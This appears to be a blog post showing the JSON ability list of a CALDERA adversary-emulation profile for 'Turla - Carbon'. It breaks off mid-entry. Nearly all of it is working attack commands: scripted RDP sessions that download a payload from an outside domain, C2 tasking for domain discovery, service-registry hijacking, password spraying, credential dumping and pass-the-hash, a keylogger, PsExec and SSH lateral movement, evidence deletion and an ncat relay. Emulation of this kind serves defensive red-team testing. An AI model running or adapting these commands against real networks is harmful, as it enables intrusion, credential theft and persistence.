Post

Adversary: Turla - Carbon [ONLY LINUX]

Adversary: Turla - Carbon [ONLY LINUX]

Sequence of actions

1
2
┌──(caldera-env)(attacker㉿kali)-[~/…/caldera/plugins/emu/data]
└─$ jq '.[] | select(.adversary == "Turla - Carbon")' commands-output.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
{
  "adversary": "Turla - Carbon",
  "abilities": [
    {
      "ability_id": "9a49d734-c69a-4a6b-b726-5a2a86edf418",
      "platform": "linux",
      "commands": {
        "proc": "exec-background xfreerdp /u:\"#{network.domain.name}\\\\#{first.target.user}
\" /p:\"#{first.target.password}\" /v:#{first.target.ip} /cert-ignore\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "2c7ad0e1-d112-4c71-8deb-38bc3ce5654b",
      "platform": "linux",
      "commands": {
        "sh": "rdp_pid=$(pgrep -f xfreerdp);\nrdp_window=$(xdotool search --pid \"$rdp_pid\");\nxdotool mousemove --window \"$rdp_window\" 100 100 click 1;\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"run\";\nsleep 6;\nxdotool key --window \"$rdp_window\" Return;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"microsoft-edge\";\nxdotool key --window \"$rdp_window\" shift+colon; \nxdotool type --window \"$rdp_window\" \"http\";\nxdotool key --window \"$rdp_window\" shift+colon; \nxdotool type --window \"$rdp_window\" \"//anto-int.com/\";\nxdotool key --window \"$rdp_window\" shift+N; \nxdotool key --window \"$rdp_window\" shift+T; \nxdotool key --window \"$rdp_window\" shift+F; \nxdotool key --window \"$rdp_window\" shift+V; \nxdotool type --window \"$rdp_window\" \"ersion.exe\";\nxdotool key --window \"$rdp_window\" Return;\nsleep 20;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\n\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\n\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\n\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\n\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Tab; sleep 1;\nxdotool key --window \"$rdp_window\" Return;\n"
      },
      "privilege": "Unknown",
      "tactic": "initial-access",
      "technique": "Phishing: Spearphishing Link",
      "attack_id": "T1566.002"
    },
    {
      "ability_id": "bb4dd7c0-c5df-4321-94ca-cb7da59b9c32",
      "platform": "linux",
      "commands": {
        "sh": "rdp_pid=$(pgrep -f xfreerdp);\nrdp_window=$(xdotool search --pid \"$rdp_pid\");\nxdotool mousemove --window \"$rdp_window\" 100 100 click 1;\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"run\";\nsleep 6;\nxdotool key --window \"$rdp_window\" Return;\nsleep 6;\nxdotool type --window \"$rdp_window\" 'C';\nxdotool key --window \"$rdp_window\" shift+colon;           \nxdotool type --window \"$rdp_window\" '\\Users\\#{first.target.user}\\Downloads\\';\nxdotool key --window \"$rdp_window\" shift+N; \nxdotool key --window \"$rdp_window\" shift+T; \nxdotool key --window \"$rdp_window\" shift+F; \nxdotool key --window \"$rdp_window\" shift+V; \nxdotool type --window \"$rdp_window\" \"ersion\";\nsleep 6;\nxdotool key --window \"$rdp_window\" Return;\nsleep 6;\nxdotool key --window \"$rdp_window\" R;\nsleep 30; \n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "User Execution: Malicious File",
      "attack_id": "T1204.002"
    },
    {
      "ability_id": "c4e2f189-ef8d-4073-abfb-1d3449af464b",
      "platform": "linux",
      "commands": {
        "sh": "rdp_pid=$(pgrep -f xfreerdp);\nrdp_window=$(xdotool search --pid \"$rdp_pid\");\necho $rdp_window;\nsleep 5; \nxdotool mousemove --window \"$rdp_window\" 100 100 click 1;\nxdotool key --window \"$rdp_window\" Ctrl+Alt+Delete;\nsleep 6;\nxdotool key --window \"$rdp_window\" Down;\nsleep 6;\nxdotool key --window \"$rdp_window\" Return;\nsleep 30;\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "771a00b3-2b39-436d-b003-b58cacffa774",
      "platform": "linux",
      "commands": {
        "proc": "exec-background xfreerdp /u:\"#{network.domain.name}\\\\#{first.target.user}\" /p:\"#{first.target.password}\" /v:#{first.target.ip} /cert-ignore\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "3e20bbc1-b60a-4129-88b5-627b7b4ac17d",
      "platform": "linux",
      "commands": {
        "sh": "rdp_pid=$(pgrep -f xfreerdp);\nrdp_window=$(xdotool search --pid \"$rdp_pid\");\necho $rdp_window;\nsleep 5; \nxdotool mousemove --window \"$rdp_window\" 100 100 click 1;\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"run\";\nsleep 6;\nxdotool key --window \"$rdp_window\" Return;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"microsoft-edge\";\nxdotool key --window \"$rdp_window\" shift+colon;\nxdotool key --window \"$rdp_window\" Return;\nsleep 180;\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "eb66d327-3f82-4433-8897-76cd8a46865b",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.epic.id} 'exe | net group \"Domain Admins\" /domain && net group \"Domain Computers\" /domain && net group \"Domain Controllers\" /domain && tasklist /svc' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Permission Groups Discovery: Domain Groups",
      "attack_id": "T1069.002"
    },
    {
      "ability_id": "88bb16c5-f78b-45c3-91b6-a7422cd2fb13",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.epic.id} 'exe | reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\ViperVPNSvc && powershell \"$(Get-Acl -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\ViperVPNSvc).Access\"' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "Command and Scripting Interpreter: Powershell",
      "attack_id": "T1059.001"
    },
    {
      "ability_id": "d5e29782-72ca-45f0-b286-09525ae91d75",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.epic.id} 'exe | reg add \"HKLM\\system\\currentcontrolset\\services\\ViperVPNSvc\" /t REG_EXPAND_SZ /v ImagePath /d \"cmd.exe /c %TEMP%\\mxs_installer.exe\" /f' --task-wait-timeout 60\n"
        },
      "privilege": "Unknown",
      "tactic": "privilege-escalation",
      "technique": "Hijack Execution Flow: Services Registry Permissions Weakness",
      "attack_id": "T1574.011"
    },
    {
      "ability_id": "349d3879-c849-493a-989e-6d7f40015f54",
      "platform": "linux",
      "commands": {
        "proc": "exec-background xfreerdp /u:\"#{network.domain.name}\\\\#{second.target.user}\" /p:\"#{second.target.password}\" /v:#{second.target.ip} /cert-ignore\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "b7190a39-c5f1-4955-8923-44807d8069e7",
      "platform": "linux",
      "commands": {
        "sh": "rdp_pid=$(pgrep -f #{second.target.user});\nrdp_window=$(xdotool search --pid \"$rdp_pid\"); \n\nxdotool mousemove --window \"$rdp_window\" 100 100 click 1;\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nsleep 1;\nxdotool type --window \"$rdp_window\" \"powershell\";\nsleep 1;\nxdotool key --window \"$rdp_window\" Shift+F10;\nsleep 1;\nxdotool key --window \"$rdp_window\" Down;\nsleep 1;\nxdotool key --window \"$rdp_window\" Return;\nsleep 1;\nxdotool key --window \"$rdp_window\" alt+Y;  \nsleep 2;\nxdotool type --window \"$rdp_window\" \"sc.exe \\\\\\\\#{first.target.host} stop ViperVPNSvc; sc.exe \\\\\\\\#{first.target.host} start ViperVPNSvc;\";\nsleep 2;\nxdotool key --window \"$rdp_window\" Return;\nsleep 250;\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "da986326-8d71-4e85-b767-0c8ffc49a2af",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.epic.id} 'name | C:\\Windows\\System32\\WinResSvc.exe | dropper.exe' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "command-and-control",
      "technique": "Ingress Tool Transfer",
      "attack_id": "T1105"
    },
    {
      "ability_id": "d702d810-3414-4e38-8cbc-22fc429d2da4",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.epic.id} 'exe | C:\\Windows\\System32\\WinResSvc.exe' --task-wait-timeout 60; \nsleep 180;\n"
      },
      "privilege": "Unknown",
      "tactic": "defense-evasion",
      "technique": "Modify Registry",
      "attack_id": "T1112"
          },
    {
      "ability_id": "f2462df4-2867-4d72-b3f1-ffa9a7431f87",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.carbon.id} '{\"id\": 0, \"cmd\": \"whoami\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "System Owner/User Discovery",
      "attack_id": "T1033"
    },
    {
      "ability_id": "02772b8f-4f3b-42c6-9705-1d05b33ad19a",
      "platform": "linux",
      "commands": {
        "sh": "rdp_pid=$(pgrep -f #{second.target.user});\nrdp_window=$(xdotool search --pid \"$rdp_pid\"); \n\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"run\";\nsleep 6;\nxdotool key --window \"$rdp_window\" Return;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"microsoft-edge\";\nxdotool key --window \"$rdp_window\" shift+colon;\nxdotool key --window \"$rdp_window\" Return;\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "99748bd2-530e-47b6-b6d7-576d4f573b6d",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.carbon.id}  '{\"id\": 1, \"payload\": \"password_spray.bat\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\winsas64.bat\", \"cmd\": \"C:\\\\Windows\\\\Temp\\\\winsas64.bat\"}' --task-wait-timeout 300 | grep 'SUCCESS'\n"
      },
      "privilege": "Unknown",
      "tactic": "credential-access",
      "technique": "Brute Force: Password Spraying",
        "attack_id": "T1110.003"
    },
    {
      "ability_id": "4945a1e5-75ab-4665-8441-6995105edf38",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.carbon.id}  '{\"id\": 2, \"cmd\": \"del /Q C:\\\\Windows\\\\Temp\\\\winsas64.bat\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "defense-evasion",
      "technique": "Indicator Removal on Host: File Deletion",
      "attack_id": "T1070.004"
    },
    {
      "ability_id": "386b614d-7237-4d1a-a6dd-543f6f515bd4",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.carbon.id} '{\"id\": 3, \"payload\": \"carbon_installer_2.exe\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\wmimetricsq.exe\", \"cmd\": \"move C:\\\\Windows\\\\Temp\\\\wmimetricsq.exe \\\\\\\\#{second.target.host}\\\\C$\\\\Windows\\\\System32\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "lateral-movement",
      "technique": "Lateral Tool Transfer",
      "attack_id": "T1570"
    },
    {
      "ability_id": "954ee411-8443-41f9-9a0c-f8ac032b68e7",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.carbon.id} '{\"id\": 4, \"cmd\": \"schtasks /query /S #{second.target.host} /U #{network.domain.name}\\\\#{second.target.user} /P #{second.target.password}\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "execution",
      "technique": "Scheduled Task/Job: Scheduled Task",
      "attack_id": "T1053.005"
          },
    {
      "ability_id": "c90bbb6c-f9bd-4811-b7b7-c923902a8bde",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.carbon.id} '{\"id\": 5, \"cmd\": \"schtasks /Change /S #{second.target.host} /U #{network.domain.name}\\\\#{second.target.user} /P #{second.target.password} /TN \\\"\\\\Microsoft\\\\Windows\\\\Customer Experience Improvement Program\\\\Consolidator\\\" /TR %SystemRoot%\\\\System32\\\\wmimetricsq.exe\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "persistence",
      "technique": "Scheduled Task/Job: Scheduled Task",
      "attack_id": "T1053.005"
    },
    {
      "ability_id": "a2621060-73a5-461b-918d-88a86f83c21b",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{first.carbon.id} '{\"id\": 6, \"cmd\": \"schtasks /Run /S #{second.target.host} /U #{network.domain.name}\\\\#{second.target.user} /P #{second.target.password} /TN \\\"\\\\Microsoft\\\\Windows\\\\Customer Experience Improvement Program\\\\Consolidator\\\" /I\"}' --task-wait-timeout 300; \nsleep 180;\n"
      },
      "privilege": "Unknown",
      "tactic": "privilege-escalation",
      "technique": "Scheduled Task/Job: Scheduled Task",
      "attack_id": "T1053.005"
    },
    {
      "ability_id": "bf90a64c-5367-4de6-93b5-a718189803c3",
      "platform": "linux",
      "commands": {
        "sh": "output=$(./evalsC2client.py --set-and-complete-task #{second.carbon.id} '{\"id\": 0, \"cmd\": \"net group /domain\"}' --task-wait-timeout 60);\necho $output | grep 'Web Servers' -i && echo $output | grep 'Web Server Admins' -i;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Permission Groups Discovery: Domain Groups",
      "attack_id": "T1069.002"
    },
    {
      "ability_id": "4e39b630-f2d7-405e-a4ef-d11cf79db1be",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.carbon.id} '{\"id\": 1, \"cmd\": \"net group \\\"Web Servers\\\" /domain && net group \\\"Web Server Admins\\\" /domain\"}' --task-wait-timeout 60;\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Permission Groups Discovery: Domain Groups",
      "attack_id": "T1069.002"
    },
    {
      "ability_id": "4e31798e-f973-4480-aa38-3372c44c29c9",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.carbon.id} '{\"id\": 2, \"cmd\": \"dsquery * -filter \\\"(&(objectclass=computer))\\\" -attr *\"}' --task-wait-timeout 60 | grep -i '#{third.target.user} Workstation'\n"
      },
      "privilege": "Unknown",
      "tactic": "discovery",
      "technique": "Remote System Discovery",
      "attack_id": "T1018"
    },
    {
      "ability_id": "33d4136a-d5e6-45f2-b0e1-786d3ec8bf02",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.carbon.id} '{\"id\": 3, \"payload\": \"DvKGMmGn.exe\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\terabox.exe\", \"cmd\": \"move C:\\\\Windows\\\\Temp\\\\terabox.exe C:\\\\Windows\\\\System32\\\\terabox.exe && C:\\\\Windows\\\\System32\\\\terabox.exe \\\"lsdu::go /ynot\\\" \\\"quit\\\"\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "credential-access",
      "technique": "OS Credential Dumping",
      "attack_id": "T1003"
    },
    {
      "ability_id": "9b50feb8-41a2-489a-a863-75240743734c",
      "platform": "linux",
      "commands": {
        "proc": "exec-background xfreerdp /u:\"#{network.domain.name}\\\\#{third.target.user}\" /p:\"#{third.target.password}\" /v:#{third.target.ip} /cert-ignore\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "f6690cfd-073d-49c4-bd1b-1194aeb26780",
      "platform": "linux",
      "commands": {
        "sh": "rdp_pid=$(pgrep -f #{third.target.user});\nrdp_window=$(xdotool search --pid \"$rdp_pid\"); \nsleep 6;\nxdotool mousemove --window \"$rdp_window\" 100 100 click 1;\nsleep 6;\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"run\";\nsleep 6;\nxdotool key --window \"$rdp_window\" Return;\nsleep 6;\nxdotool type --window \"$rdp_window\" \"microsoft-edge\";\nxdotool key --window \"$rdp_window\" shift+colon;\nxdotool key --window \"$rdp_window\" Return;\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "f9ad6b77-518e-4784-9fba-5e4cd97fc455",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.carbon.id} '{\"id\": 4, \"payload\": \"PsExec.exe\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\tmp5712.tmp\", \"cmd\": \"move C:\\\\Windows\\\\Temp\\\\tmp5712.tmp C:\\\\Windows\\\\System32\\\\wsqsp.exe && dir C:\\\\Windows\\\\System32\\\\wsqsp.exe\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "command-and-control",
      "technique": "Ingress tool transfer",
      "attack_id": "T1105"
    },
    {
      "ability_id": "75424a6a-28f5-46fa-834b-508f7d09020a",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.carbon.id} '{\"id\": 5, \"payload\": \"carbon_installer_3.exe\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\tmp1283.tmp\", \"cmd\": \"move C:\\\\Windows\\\\Temp\\\\tmp1283.tmp C:\\\\Windows\\\\System32\\\\wsqmanager.exe && dir C:\\\\Windows\\\\System32\\\\wsqmanager.exe\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "command-and-control",
      "technique": "Ingress tool transfer",
      "attack_id": "T1105"
    },
    {
      "ability_id": "824d5eda-7743-4c10-89d8-143d4bc50eda",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.carbon.id} '{\"id\": 6, \"cmd\": \"C:\\\\Windows\\\\System32\\\\terabox.exe \\\"pr::d\\\" \\\"slsa::htp /user:#{third.target.user} /domain:#{network.domain.name} /ntlm:#{third.target.ntlm} /remotepc:#{third.target.host} /pexe:C:\\\\Windows\\\\System32\\\\wsqsp.exe /sys:1 /prun:C:\\\\Windows\\\\System32\\\\wsqmanager.exe\\\" \\\"quit\\\"\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "lateral-movement",
      "technique": "Use Alternate Authentication Material: Pass the Hash",
      "attack_id": "T1550.002"
    },
    {
      "ability_id": "e7c827d6-57f8-40d0-b3a9-e03b2e4d0484",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{second.carbon.id} '{\"id\": 7, \"cmd\": \"del /Q C:\\\\Windows\\\\System32\\\\terabox.exe C:\\\\Windows\\\\System32\\\\wsqsp.exe C:\\\\Windows\\\\System32\\\\wsqmanager.exe\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "defense-evasion",
      "technique": "Indicator Removal on Host: File Deletion",
      "attack_id": "7.A.5"
    },
    {
      "ability_id": "1a9e352f-4edb-480d-b29c-66acb6c4df19",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 0, \"payload\": \"keylogger.exe\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\wingtsvcupdt.exe\", \"cmd\": \"C:\\\\Windows\\\\Temp\\\\wingtsvcupdt.exe -r\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Input Capture: Keylogging",
      "attack_id": "8.A.2"
    },
    {
      "ability_id": "4cedd0ef-c802-431d-a4a1-eaf1163543f3",
      "platform": "linux",
      "commands": {
        "sh": "rdp_pid=$(pgrep -f #{third.target.user});\nrdp_window=$(xdotool search --pid \"$rdp_pid\"); \n\nxdotool mousemove --window \"$rdp_window\" 100 100 click 1;\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nsleep 5;\nxdotool type --window \"$rdp_window\" \"powershell\";\nsleep 5;\nxdotool key --window \"$rdp_window\" Return;\nsleep 5;\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nxdotool key --window \"$rdp_window\" Ctrl+Escape;\nsleep 5;\n\nxdotool type --window \"$rdp_window\" 'ssh #{third.target.user}@#{apache.server.ip}';\nsleep 5;\nxdotool key --window \"$rdp_window\" Return;\nsleep 5; \nxdotool type --window \"$rdp_window\" 'yes';\nsleep 5;\nxdotool key --window \"$rdp_window\" Return;\nsleep 5;\nxdotool key --window \"$rdp_window\" Shift+P;\nxdotool type --window \"$rdp_window\" 'assword2';\nxdotool key --window \"$rdp_window\" Shift+1;\nxdotool key --window \"$rdp_window\" Return;\nxdotool type --window \"$rdp_window\" 'exit';\nxdotool key --window \"$rdp_window\" Return;\nsleep 10;\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "cefe85b8-d1e5-4077-afac-81a6622f4c66",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 1, \"cmd\": \"taskkill /IM wingtsvcupdt.exe /F\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Input Capture: Keylogging",
      "attack_id": "8.A.2"
    },
    {
      "ability_id": "438939c8-e95a-4fbd-b659-06f0b0b72e47",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 2, \"cmd\": \"type %temp%\\\\~DFA512.tmp\"}' --task-wait-timeout 200\n"
      },
      "privilege": "Unknown",
      "tactic": "collection",
      "technique": "Input Capture: Keylogging",
      "attack_id": "8.A.2"
    },
    {
      "ability_id": "f8ab9b59-89a7-4c25-90bf-0c2485785a36",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 3, \"cmd\": \"del /Q C:\\\\Windows\\\\Temp\\\\wingtsvcupdt.exe %temp%\\\\~DFA512.tmp\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "defense-evasion",
      "technique": "Indicator Removal on Host: File Deletion",
      "attack_id": "T1070.004"
    },
    {
      "ability_id": "4d5197fa-4ba7-4bfd-9c91-1697ce0a80a4",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 4, \"payload\": \"hsperfdata.zip\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\tmp504e.tmp\", \"cmd\": \"dir C:\\\\Windows\\\\Temp\\\\tmp504e.tmp\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "command-and-control",
      "technique": "Ingress Tool Transfer",
      "attack_id": "T1105"
    },
    {
      "ability_id": "d760974d-6466-40b9-8532-b6be578428fc",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 5, \"payload\": \"pscp.exe\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\pscp.exe\", \"cmd\": \"move C:\\\\Windows\\\\Temp\\\\pscp.exe C:\\\\Windows\\\\System32\\\\pscp.exe && dir C:\\\\Windows\\\\System32\\\\pscp.exe\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "command-and-control",
      "technique": "Ingress Tool Transfer",
      "attack_id": "T1105"
    },
    {
      "ability_id": "83a79c7d-721c-44ac-b8d5-d9ba2bc84852",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 6, \"cmd\": \"echo y | C:\\\\Windows\\\\System32\\\\pscp.exe -pw #{third.target.password} C:\\\\Windows\\\\Temp\\\\tmp504e.tmp #{third.target.user}@#{apache.server.ip}:/tmp/tmp514f524f\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "lateral-movement",
      "technique": "Remote Services: SSH",
      "attack_id": "T1021.004"
    },
    {
      "ability_id": "4468cc14-8e77-44cd-93de-b892253b3e27",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 7, \"payload\": \"plink.exe\", \"payload_dest\": \"C:\\\\Windows\\\\Temp\\\\plink.exe\", \"cmd\": \"move C:\\\\Windows\\\\Temp\\\\plink.exe C:\\\\Windows\\\\System32\\\\plink.exe && dir C:\\\\Windows\\\\System32\\\\plink.exe\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "command-and-control",
      "technique": "Ingress Tool Transfer",
      "attack_id": "T1105"
    },
    {
      "ability_id": "8c6a546b-e03b-4761-b422-8eaf40f59580",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 8, \"cmd\": \"(echo unzip /tmp/tmp514f524f -d /tmp & echo sudo mv /tmp/hsperfdata /root/hsperfdata & echo sudo /root/hsperfdata & echo exit) | C:\\\\Windows\\\\System32\\\\plink.exe -ssh -l #{third.target.user} -pw #{third.target.password} #{apache.server.ip}\"}' --task-wait-timeout 200; sleep 60;\n"
      },
      "privilege": "Unknown",
      "tactic": "lateral-movement",
      "technique": "Remote Services: SSH",
      "attack_id": "T1021.004"
    },
    {
      "ability_id": "1fe4de9d-d8d3-4188-8a2a-6ff42394400c",
      "platform": "linux",
      "commands": {
        "sh": "./evalsC2client.py --set-and-complete-task #{third.carbon.id} '{\"id\": 9, \"cmd\": \"del /Q C:\\\\Windows\\\\Temp\\\\tmp504e.tmp C:\\\\Windows\\\\System32\\\\pscp.exe C:\\\\Windows\\\\System32\\\\plink.exe\"}' --task-wait-timeout 60\n"
      },
      "privilege": "Unknown",
      "tactic": "defense-evasion",
      "technique": "Indicator Removal on Host: File Deletion",
      "attack_id": "T1070.004"
    },
    {
      "ability_id": "00a08c4d-d023-4b2a-8244-651f37d23e2c",
      "platform": "linux",
      "commands": {
        "proc": "exec-background bash -c \"mkfifo input_pipe; mkfifo output_pipe; ncat -k -l 12345 0<output_pipe | ncat -lv 8081 1>output_pipe & tail -f input_pipe | ncat localhost 12345 &\"\n"
      },
      "privilege": "Unknown",
      "tactic": "x",
      "technique": "x",
      "attack_id": "x"
    },
    {
      "ability_id": "7086ff8c-da64-4b85-a3ee-6157fc0e0a70",
      "platform": "linux",
      "commands": {
